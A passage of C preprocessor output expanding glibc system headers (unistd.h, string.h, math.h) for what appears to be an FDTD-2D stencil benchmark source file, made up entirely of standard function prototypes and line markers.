_CS_LFS64_LINTFLAGS, _CS_XBS5_ILP32_OFF32_CFLAGS = 1100, _CS_XBS5_ILP32_OFF32_LDFLAGS, _CS_XBS5_ILP32_OFF32_LIBS, _CS_XBS5_ILP32_OFF32_LINTFLAGS, _CS_XBS5_ILP32_OFFBIG_CFLAGS, _CS_XBS5_ILP32_OFFBIG_LDFLAGS, _CS_XBS5_ILP32_OFFBIG_LIBS, _CS_XBS5_ILP32_OFFBIG_LINTFLAGS, _CS_XBS5_LP64_OFF64_CFLAGS, _CS_XBS5_LP64_OFF64_LDFLAGS, _CS_XBS5_LP64_OFF64_LIBS, _CS_XBS5_LP64_OFF64_LINTFLAGS, _CS_XBS5_LPBIG_OFFBIG_CFLAGS, _CS_XBS5_LPBIG_OFFBIG_LDFLAGS, _CS_XBS5_LPBIG_OFFBIG_LIBS, _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS, _CS_POSIX_V6_ILP32_OFF32_CFLAGS, _CS_POSIX_V6_ILP32_OFF32_LDFLAGS, _CS_POSIX_V6_ILP32_OFF32_LIBS, _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS, _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS, _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS, _CS_POSIX_V6_ILP32_OFFBIG_LIBS, _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS, _CS_POSIX_V6_LP64_OFF64_CFLAGS, _CS_POSIX_V6_LP64_OFF64_LDFLAGS, _CS_POSIX_V6_LP64_OFF64_LIBS, _CS_POSIX_V6_LP64_OFF64_LINTFLAGS, _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS, _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS, _CS_POSIX_V6_LPBIG_OFFBIG_LIBS, _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS, _CS_POSIX_V7_ILP32_OFF32_CFLAGS, _CS_POSIX_V7_ILP32_OFF32_LDFLAGS, _CS_POSIX_V7_ILP32_OFF32_LIBS, _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS, _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS, _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS, _CS_POSIX_V7_ILP32_OFFBIG_LIBS, _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS, _CS_POSIX_V7_LP64_OFF64_CFLAGS, _CS_POSIX_V7_LP64_OFF64_LDFLAGS, _CS_POSIX_V7_LP64_OFF64_LIBS, _CS_POSIX_V7_LP64_OFF64_LINTFLAGS, _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS, _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS, _CS_POSIX_V7_LPBIG_OFFBIG_LIBS, _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS, _CS_V6_ENV, _CS_V7_ENV }; # 610 "/usr/include/unistd.h" 2 3 4 extern long int pathconf (const char *__path, int __name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern long int fpathconf (int __fd, int __name) __attribute__ ((__nothrow__ , __leaf__)); extern long int sysconf (int __name) __attribute__ ((__nothrow__ , __leaf__)); extern size_t confstr (int __name, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t getpid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t getppid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t getpgrp (void) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t __getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); extern int setpgid (__pid_t __pid, __pid_t __pgid) __attribute__ ((__nothrow__ , __leaf__)); # 660 "/usr/include/unistd.h" 3 4 extern int setpgrp (void) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t setsid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __pid_t getsid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); extern __uid_t getuid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __uid_t geteuid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __gid_t getgid (void) __attribute__ ((__nothrow__ , __leaf__)); extern __gid_t getegid (void) __attribute__ ((__nothrow__ , __leaf__)); extern int getgroups (int __size, __gid_t __list[]) __attribute__ ((__nothrow__ , __leaf__)) ; # 700 "/usr/include/unistd.h" 3 4 extern int setuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)) ; extern int setreuid (__uid_t __ruid, __uid_t __euid) __attribute__ ((__nothrow__ , __leaf__)) ; extern int seteuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)) ; extern int setgid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)) ; extern int setregid (__gid_t __rgid, __gid_t __egid) __attribute__ ((__nothrow__ , __leaf__)) ; extern int setegid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)) ; # 756 "/usr/include/unistd.h" 3 4 extern __pid_t fork (void) __attribute__ ((__nothrow__)); extern __pid_t vfork (void) __attribute__ ((__nothrow__ , __leaf__)); extern char *ttyname (int __fd) __attribute__ ((__nothrow__ , __leaf__)); extern int ttyname_r (int __fd, char *__buf, size_t __buflen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) ; extern int isatty (int __fd) __attribute__ ((__nothrow__ , __leaf__)); extern int ttyslot (void) __attribute__ ((__nothrow__ , __leaf__)); extern int link (const char *__from, const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ; extern int linkat (int __fromfd, const char *__from, int __tofd, const char *__to, int __flags) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))) ; extern int symlink (const char *__from, const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ; extern ssize_t readlink (const char *__restrict __path, char *__restrict __buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) ; extern int symlinkat (const char *__from, int __tofd, const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 3))) ; extern ssize_t readlinkat (int __fd, const char *__restrict __path, char *__restrict __buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) ; extern int unlink (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern int unlinkat (int __fd, const char *__name, int __flag) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); extern int rmdir (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern __pid_t tcgetpgrp (int __fd) __attribute__ ((__nothrow__ , __leaf__)); extern int tcsetpgrp (int __fd, __pid_t __pgrp_id) __attribute__ ((__nothrow__ , __leaf__)); extern char *getlogin (void); extern int getlogin_r (char *__name, size_t __name_len) __attribute__ ((__nonnull__ (1))); extern int setlogin (const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); # 1 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 1 3 4 # 27 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 1 3 4 # 28 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4 extern char *optarg; # 50 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4 extern int optind; extern int opterr; extern int optopt; # 91 "/usr/include/x86_64-linux-gnu/bits/getopt_core.h" 3 4 extern int getopt (int ___argc, char *const *___argv, const char *__shortopts) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))); # 28 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 2 3 4 # 49 "/usr/include/x86_64-linux-gnu/bits/getopt_posix.h" 3 4 # 870 "/usr/include/unistd.h" 2 3 4 extern int gethostname (char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern int sethostname (const char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int sethostid (long int __id) __attribute__ ((__nothrow__ , __leaf__)) ; extern int getdomainname (char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int setdomainname (const char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int vhangup (void) __attribute__ ((__nothrow__ , __leaf__)); extern int revoke (const char *__file) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern int profil (unsigned short int *__sample_buffer, size_t __size, size_t __offset, unsigned int __scale) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern int acct (const char *__name) __attribute__ ((__nothrow__ , __leaf__)); extern char *getusershell (void) __attribute__ ((__nothrow__ , __leaf__)); extern void endusershell (void) __attribute__ ((__nothrow__ , __leaf__)); extern void setusershell (void) __attribute__ ((__nothrow__ , __leaf__)); extern int daemon (int __nochdir, int __noclose) __attribute__ ((__nothrow__ , __leaf__)) ; extern int chroot (const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; extern char *getpass (const char *__prompt) __attribute__ ((__nonnull__ (1))); extern int fsync (int __fd); # 967 "/usr/include/unistd.h" 3 4 extern long int gethostid (void); extern void sync (void) __attribute__ ((__nothrow__ , __leaf__)); extern int getpagesize (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int getdtablesize (void) __attribute__ ((__nothrow__ , __leaf__)); # 991 "/usr/include/unistd.h" 3 4 extern int truncate (const char *__file, __off_t __length) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) ; # 1014 "/usr/include/unistd.h" 3 4 extern int ftruncate (int __fd, __off_t __length) __attribute__ ((__nothrow__ , __leaf__)) ; # 1035 "/usr/include/unistd.h" 3 4 extern int brk (void *__addr) __attribute__ ((__nothrow__ , __leaf__)) ; extern void *sbrk (intptr_t __delta) __attribute__ ((__nothrow__ , __leaf__)); # 1056 "/usr/include/unistd.h" 3 4 extern long int syscall (long int __sysno, ...) __attribute__ ((__nothrow__ , __leaf__)); # 1079 "/usr/include/unistd.h" 3 4 extern int lockf (int __fd, int __cmd, __off_t __len) ; # 1115 "/usr/include/unistd.h" 3 4 extern int fdatasync (int __fildes); # 1124 "/usr/include/unistd.h" 3 4 extern char *crypt (const char *__key, const char *__salt) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); # 1161 "/usr/include/unistd.h" 3 4 int getentropy (void *__buffer, size_t __length) ; # 1170 "/usr/include/unistd.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/unistd_ext.h" 1 3 4 # 1171 "/usr/include/unistd.h" 2 3 4 # 10 "./stencils/fdtd-2d/fdtd-2d.c" 2 # 1 "/usr/include/string.h" 1 3 4 # 26 "/usr/include/string.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4 # 27 "/usr/include/string.h" 2 3 4 # 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4 # 34 "/usr/include/string.h" 2 3 4 # 43 "/usr/include/string.h" 3 4 extern void *memcpy (void *__restrict __dest, const void *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern void *memmove (void *__dest, const void *__src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern void *memccpy (void *__restrict __dest, const void *__restrict __src, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern void *memset (void *__s, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern int memcmp (const void *__s1, const void *__s2, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); # 91 "/usr/include/string.h" 3 4 extern void *memchr (const void *__s, int __c, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); # 122 "/usr/include/string.h" 3 4 extern char *strcpy (char *__restrict __dest, const char *__restrict __src) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *strncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *strcat (char *__restrict __dest, const char *__restrict __src) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *strncat (char *__restrict __dest, const char *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern int strcmp (const char *__s1, const char *__s2) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern int strncmp (const char *__s1, const char *__s2, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern int strcoll (const char *__s1, const char *__s2) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern size_t strxfrm (char *__restrict __dest, const char *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); # 1 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 1 3 4 # 22 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h" 1 3 4 # 28 "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h" 3 4 struct __locale_struct { struct __locale_data *__locales[13]; const unsigned short int *__ctype_b; const int *__ctype_tolower; const int *__ctype_toupper; const char *__names[13]; }; typedef struct __locale_struct *__locale_t; # 23 "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h" 2 3 4 typedef __locale_t locale_t; # 154 "/usr/include/string.h" 2 3 4 extern int strcoll_l (const char *__s1, const char *__s2, locale_t __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3))); extern size_t strxfrm_l (char *__dest, const char *__src, size_t __n, locale_t __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))); extern char *strdup (const char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1))); extern char *strndup (const char *__string, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__malloc__)) __attribute__ ((__nonnull__ (1))); # 226 "/usr/include/string.h" 3 4 extern char *strchr (const char *__s, int __c) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); # 253 "/usr/include/string.h" 3 4 extern char *strrchr (const char *__s, int __c) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); # 273 "/usr/include/string.h" 3 4 extern size_t strcspn (const char *__s, const char *__reject) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern size_t strspn (const char *__s, const char *__accept) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); # 303 "/usr/include/string.h" 3 4 extern char *strpbrk (const char *__s, const char *__accept) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); # 330 "/usr/include/string.h" 3 4 extern char *strstr (const char *__haystack, const char *__needle) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern char *strtok (char *__restrict __s, const char *__restrict __delim) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); extern char *__strtok_r (char *__restrict __s, const char *__restrict __delim, char **__restrict __save_ptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))); extern char *strtok_r (char *__restrict __s, const char *__restrict __delim, char **__restrict __save_ptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))); # 385 "/usr/include/string.h" 3 4 extern size_t strlen (const char *__s) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); extern size_t strnlen (const char *__string, size_t __maxlen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); extern char *strerror (int __errnum) __attribute__ ((__nothrow__ , __leaf__)); # 410 "/usr/include/string.h" 3 4 extern int strerror_r (int __errnum, char *__buf, size_t __buflen) __asm__ ("" "__xpg_strerror_r") __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); # 428 "/usr/include/string.h" 3 4 extern char *strerror_l (int __errnum, locale_t __l) __attribute__ ((__nothrow__ , __leaf__)); # 1 "/usr/include/strings.h" 1 3 4 # 23 "/usr/include/strings.h" 3 4 # 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4 # 24 "/usr/include/strings.h" 2 3 4 extern int bcmp (const void *__s1, const void *__s2, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern void bcopy (const void *__src, void *__dest, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern void bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); # 68 "/usr/include/strings.h" 3 4 extern char *index (const char *__s, int __c) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); # 96 "/usr/include/strings.h" 3 4 extern char *rindex (const char *__s, int __c) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))); extern int ffs (int __i) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int ffsl (long int __l) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); __extension__ extern int ffsll (long long int __ll) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int strcasecmp (const char *__s1, const char *__s2) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern int strncasecmp (const char *__s1, const char *__s2, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2))); extern int strcasecmp_l (const char *__s1, const char *__s2, locale_t __loc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 3))); extern int strncasecmp_l (const char *__s1, const char *__s2, size_t __n, locale_t __loc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1, 2, 4))); # 433 "/usr/include/string.h" 2 3 4 extern void explicit_bzero (void *__s, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); extern char *strsep (char **__restrict __stringp, const char *__restrict __delim) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *strsignal (int __sig) __attribute__ ((__nothrow__ , __leaf__)); extern char *__stpcpy (char *__restrict __dest, const char *__restrict __src) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *stpcpy (char *__restrict __dest, const char *__restrict __src) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *__stpncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); extern char *stpncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); # 499 "/usr/include/string.h" 3 4 # 11 "./stencils/fdtd-2d/fdtd-2d.c" 2 # 1 "/usr/include/math.h" 1 3 4 # 27 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4 # 28 "/usr/include/math.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 1 3 4 # 25 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/libm-simd-decl-stubs.h" 1 3 4 # 26 "/usr/include/x86_64-linux-gnu/bits/math-vector.h" 2 3 4 # 41 "/usr/include/math.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4 # 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4 # 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4 # 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4 # 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4 # 44 "/usr/include/math.h" 2 3 4 # 138 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/flt-eval-method.h" 1 3 4 # 139 "/usr/include/math.h" 2 3 4 # 149 "/usr/include/math.h" 3 4 typedef float float_t; typedef double double_t; # 190 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/fp-logb.h" 1 3 4 # 191 "/usr/include/math.h" 2 3 4 # 233 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/fp-fast.h" 1 3 4 # 234 "/usr/include/math.h" 2 3 4 # 289 "/usr/include/math.h" 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 1 3 4 # 21 "/usr/include/x86_64-linux-gnu/bits/mathcalls-helper-functions.h" 3 4 extern int __fpclassify (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __signbit (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isinf (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __finite (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __isnan (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int __iseqsig (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern int __issignaling (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); # 290 "/usr/include/math.h" 2 3 4 # 1 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 1 3 4 # 53 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double acos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __acos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double asin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __asin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double atan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double atan2 (double __y, double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atan2 (double __y, double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double cos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cos (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double sin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sin (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double tan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __tan (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double cosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double sinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double tanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __tanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); # 85 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double acosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __acosh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double asinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __asinh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double atanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __atanh (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double exp (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __exp (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double frexp (double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double __frexp (double __x, int *__exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double ldexp (double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double __ldexp (double __x, int __exponent) __attribute__ ((__nothrow__ , __leaf__)); extern double log (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double log10 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log10 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double modf (double __x, double *__iptr) __attribute__ ((__nothrow__ , __leaf__)); extern double __modf (double __x, double *__iptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); # 119 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern double expm1 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __expm1 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double log1p (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log1p (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double logb (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __logb (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double exp2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __exp2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double log2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __log2 (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double pow (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __pow (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double sqrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __sqrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double hypot (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __hypot (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double cbrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __cbrt (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double ceil (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __ceil (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double fabs (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __fabs (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double floor (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __floor (double __x) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double fmod (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __fmod (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); # 177 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isinf (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern int finite (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double drem (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double __drem (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)); extern double significand (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double __significand (double __x) __attribute__ ((__nothrow__ , __leaf__)); extern double copysign (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double __copysign (double __x, double __y) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double nan (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); extern double __nan (const char *__tagb) __attribute__ ((__nothrow__ , __leaf__)); # 211 "/usr/include/x86_64-linux-gnu/bits/mathcalls.h" 3 4 extern int isnan (double __value) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); extern double j0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __j0 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double j1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double __j1 (double) __attribute__ ((__nothrow__ , __leaf__)); extern double jn (int, double) __attribute__ 